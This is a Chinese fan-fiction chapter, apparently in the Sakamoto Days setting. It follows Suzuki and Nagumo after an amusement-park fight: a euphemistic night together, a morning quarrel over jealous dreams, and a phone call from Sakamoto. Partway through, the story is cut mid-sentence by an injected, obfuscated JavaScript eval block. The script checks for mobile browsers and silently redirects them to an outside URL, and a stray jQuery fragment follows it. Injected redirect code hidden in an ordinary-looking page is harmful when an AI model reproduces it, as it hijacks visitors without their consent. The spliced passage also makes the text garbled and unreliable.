夕阳将游乐场的摩天轮镀上一层暗金色,远处过山车轨道下方的废墟此刻已被弗洛塔的工作人员圈了起来,大家正在竭力处理掉这一战斗痕迹。
我垂眸看了眼像树袋熊般挂在自己身上的南云,黑色的卫衣肩胛处被划破,露出了苍白的皮肤,几缕黑发被汗湿黏在颈侧,随着急促的呼吸轻微起伏。明明刚从战斗中脱身,此刻却执拗地将脸埋在我的肩窝,仿佛要将整个人嵌进我的骨血里。
这总是容易受刺激的模样实在是令人揪心,一想到八年后的他也经常性暴露出缺乏安全感的一面,我更是没法拒绝他的要求。
“不好意思,天弓给你添麻烦了。”有月颇有礼貌地向我道歉,“回去之后我会好好管教他的。”
“最好管紧点,别让我再碰见他。”南云闷闷的声音从肩头传来,手臂又收紧几分,哪怕隔着厚实的衣服我都能感受到他尚未平复的心跳。
我尴尬地朝有月笑笑,伸手按住某个快要炸毛的家伙:“嗯,都是小事情,那我们就先走了…有机会再见。”
想了想还是补充了最后一句,毕竟要凭空消失八年的事肯定瞒不住,走之前我应该还是会挨个和见过面的熟人们告个别,免得大家担心。
尽管对天弓的举动感到有些莫名其妙,但并没有过多影响到我。要说喜欢的话,我也没有从对方身上感受到和南云相同的那份情绪,倒更像是单纯在跟我玩。这种随心所欲的类型我一向很苦手,因为根本猜不透他们心里在想什么,最好的应付方式便是放着不管,反正船到桥头自然直。
归途的电车载着零星的乘客穿梭在暮色中,车窗倒映出南云安静的侧脸。他正专注地摆弄着我的手指,将彼此指节严丝合缝地扣在一起,乐此不疲。
“还生气啊?”我戳了戳他紧绷的腮帮,指尖触到微微鼓起的软肉。
“……”
黑发男人别过脸看向窗外,霓虹灯影在他眸中碎成斑斓的星屑。倒映在玻璃上的嘴角诚实地抿成了直线,竟透出几分委屈。
坂本和莉昂都离开了,所以从游乐场回到家里的只有我和他两人。本来我以为他不会继续和我搭话的,没想到他还是出声了,虽然只是简单问了几句有关今天玩得是否开心的问题,沉默得让人忍不住想要上前抱抱他。
心里这么想着,我也确实这么做了。
黑色卫衣外套上还有淡淡的血腥味,应该是在和天弓战斗的过程中留下的,不过很明显不是他的血。
南云的脊背瞬间僵硬,又在感受到轻抚后逐渐软化,像只被顺毛的猫科动物。随后乖觉地仰起头,任由我的唇瓣落在他跳动的颈动脉上。不过在对方察觉到我嗅闻的动作后便换了个姿势,改成自己主动贴上来。
“真狡猾啊小铃木,竟然用这种方式来哄我。”他发出满足的喟叹,突然发力将我拦腰抱起,失重感袭来的刹那,我本能地攀住了他的脖颈。
“放心吧,我才不会生你的气呢,都是那群人的错!”
…这怎么听得我莫名有些心虚呢?
·
沐浴后的水汽氤氲了整个浴室。南云裹着纯白的浴袍趴在床沿,湿漉漉的黑发在鹅绒被上晕开水痕。我握着吹风机的手指穿梭在他发间,暖风卷起洗发水的清香。他舒服得眯起眼睛,喉间发出含糊的咕噜声,连最后一丝戾气也消散无踪。
身上换下来的衣服我本来是想扔洗衣机的,结果他却率先一步全放垃圾袋扔了,然后火速下单买了全新的。
对此,我忍不住吐槽了一句“好浪费”。
“没关系啦,ORDER的工资很高的,并且像是衣服在工作过程中损坏了之类的都可以报销……啊,这件事不要告诉神神迴。”
“为什么?”
“因为每次看他做任务的时候小心翼翼避开血迹的样子都很有趣,关键他还喜欢近战,噗。”
这人真的好恶趣味啊。
无语地盯了他一眼,心想幸好我不是他的后辈,否则要是知道这件事肯定会气得跳脚。
“不过铃木你也不用这么小心地对待我啦,在我眼里无论发生什么都不是你的错,你现在还活着已经是最好的安慰了。”
在说这句话的时候,他的眼神也无比专注。
那双眼睛像极了未经打磨过的黑曜石,哪怕房间里的光线全部坠入其中也难逃被吞噬的命运,我也不例外。
以前我从未想过自己为什么会偏爱金色以外的色彩,现在想来这一切都因为我偏爱的是南云这个人。
好神奇,原来恋爱是这种感觉啊。
呼吸逐渐靠拢,我察觉到了他的意图,想到今天确实让他受了委屈,所以便任由他继续动作。
“不要去采外面的野花……”
什么?
一时半会儿没能反应过来他这句话的意思,不过很快我也没心情去琢磨这个了。
天花板上的灯在眼里暧昧地摇晃着,明亮的房间外是漆黑的天幕,淅淅沥沥的小雨逐渐扩大,刚冒出头的嫩芽并未因雨水的拍打而缩回去,反而仰起脖颈接受这场恩赐的甘露。
心脏的跃动与黏腻的呼吸交织在一起,从生疏到熟练这一过程并没有耗费太长时间,许是因为二人都是擅长学习的类型,并且也很乐意在这方面互相配合,所以一次比一次顺利,就像是生来就要融为一体的。
落地窗外的雨声渐密,水珠顺着玻璃蜿蜒成透明的细流,他虔诚地仰头索吻,以一副臣服的姿态尽力地讨好着我。
待事情结束后,我捧着那张白皙的面庞轻轻吻了一圈,这才心满意足地翻身睡过去。
但或许是南云中途说的那句话,害得我睡着后做了个很诡异的梦,梦里登场了很多熟人,甚至连莉昂和有月都没能逃过。
剧情发展就是我在外面采了一堆野花,而南云却坚信是外面的野花引诱的我,并气势汹汹地跑去将那堆野花全部踩得稀烂,后面我一气之下便去找坂本告状诉苦,他答应说下来会好好调教对方一顿,到时候将一个完美的人夫型南云送还给我。
然而真到了约定好的那天坂本却摇着脑袋告诉我没救了,然后将神神迴推了出来说让我先将就用着这个,南云那边还需要再磨磨。
因为梦境过于抽象,导致我没能继续睡下去而是直接惊醒,醒来后发现南云正瞪大着眼睛不可置信地望着我。
“铃木你刚刚说梦话了,还一直在喊坂本。”
这误会也太大了!
我连忙解释不是他所想的那样,然而支支吾吾半天也不好意思将那个糟糕的梦境说出
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15097839|156014||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来,要知道在梦里的我完全就是个渣女,左拥右抱一大堆,甚至连女的都不放过。
“说起来昨晚我正好做了个梦。”还未等我开口,他却先一步控诉道:“梦到铃木你和赤尾在外面开房被我逮个正着……”
我差点没被自己的口水噎死。
他继续说着:“本来女孩子住一起我觉得没什么大不了,但你俩去的地方是love hotel……”
听到这里,我没忍住反驳了:“开什么玩笑,那种地方太脏了我信不过,真要开房那我也是把人带回家里好吧。”
南云:“……”
我:“……”
死寂在空气中蔓延。
“你等下!我不是认同你梦境那个逻辑的意思,我也没有喜欢莉昂…不对,我确实喜欢她,但不是你想的那种喜欢,我和她之间最亲密的行为也就——”
话说到一半,我直接卡在了原地。
细数下来这两个月我和莉昂的亲密行为真不少,搂过抱过一起睡过泡过澡,我还埋过她的腹肌,尽管这些在女孩子间都很正常,但话到嘴边依旧感到了一股心虚。
“怎么不说话了?小铃木——”
“就一个梦而已,不必当真…你放心吧,我现在最喜欢的还是你。”
“现在?也就是未来会变的意思吗?”
关于这件事我并不想欺骗对方,感情这种东西本就是变幻莫测的,我也不是那种深情且专一的类型,虽然目前我对南云的感情确实达到了前所未有的高度,但未来究竟会发生什么谁也预料不到。
我不想为了让自己能够心安理得地享受这份毫无保留的爱意,而去给对方编织一个美梦。
将自己的真实想法告诉他后,南云倒是接受良好,甚至还松了口气。
“果然会是这样啊。”清晨的阳光爬上凌乱的床单,他伸了个懒腰,长臂直接顺势搭在了我的身上,然后将距离迅速拉进,指尖绕着我的发梢打转。
“因为猜到了是这样的性子,所以我一直有在努力让自己在你面前保持新鲜感哦。放心吧,铃木你只需要享受就行了,其他的由我来做。”
“……这样真的好么?我们双方很明显是不平等的吧。”
我复杂地望向他,虽然知道南云一向深情,但没想到认真谈起恋爱来会是这样的人设。
“我表现得这么通情达理你有没有更爱我一点?”
“……我先去洗漱了。”
适度的睡前运动有助于睡眠,而适当的晨起运动也有助于身体健康,可以保持一整天都活力充沛——虽然我感觉这只体现在了南云身上,我反正是累得又重新趴回了床上,哪怕全权交给对方来安排还是很累,出了很多汗。
迷迷糊糊间我接了个电话,来电人还是坂本,有些困惑他突然找我的原因,然而接通后对方说出来的话更是信息量爆炸:
[“铃木,我见到你父亲了,不过他好像把神神迴误认成了你的男朋友……总之等会儿我们会上门来找你说清楚。对了,你的发.情.期这几天都是怎么过的?”]
等下,每个词单独分开我都能听懂,合在一起是怎么回事啊?
而在坂本的声音从听筒泄出来的瞬间,刚从浴室出来的南云也直接僵住了。